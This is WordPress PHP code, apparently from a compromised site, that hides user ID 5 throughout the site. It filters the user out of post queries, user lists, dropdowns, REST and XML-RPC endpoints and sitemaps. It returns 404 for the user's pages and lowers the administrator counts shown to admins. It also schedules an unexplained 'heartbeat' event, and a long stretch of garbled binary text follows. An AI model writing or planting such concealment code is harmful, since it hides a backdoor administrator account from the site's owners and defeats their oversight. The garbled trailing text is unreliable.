add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝OIs6@:"TV3]/XA]ݢMI4=g|ދ_c#-Jz]bpGL4#=̊sݭ6_~U^nnV_~?ӯ?lvվ}hkٷ7W竿Zq^j{>wZ~l6Wn߯wnuڬoWʁ ̣j6#{?߷m??o_㶽姏zvxqܬzxtZﮛj=۬ٮz={x~~ϡ?v{|/w7ۻ#_;~,kyv>_M~p}n<~>)s?lvͯ3g>@=yY?'wϐ?ܿ<ap˹9-9Fn5B4AӒp'0:pbV`MkT~;#nw*n2]qC̾*ͽsń>zFqjnz/!h8Ts#Bϱ1祚e籎eǍbo=7~7-vHs4:$T;HĎۡsWb2;OyvUPvT`CaMQyz5Mj|9jYod)fX?qv0^-H?VM%nr =/ܐ!(K8
Ɨzn%sӹȄqW1>!{)T3!G=빃*.s'ͽѹ>|UTcXz{t%?82Nsc8fmgz'9Nͽ7DUy4vI_:ŹFeHEMv8s8*Ν #K57Pu$'tN ߕorQ!oȳ7;UnmwE^M{dJ*'d
ꈚ8b{_d!Wmpvd]tO
.n٢+ P~"(¡+)1mFQȝ&G̚`-JBU*(T>5'w*JkXh]̡Ey> q.bG-w\2xa2)Ysc$;eJpYa
c'1hbd5>MWT^qAń7AP]>xNщCI)kHB9+1\SYC#oC2(q.VyI4 / :8VX,rE1*@붸w̨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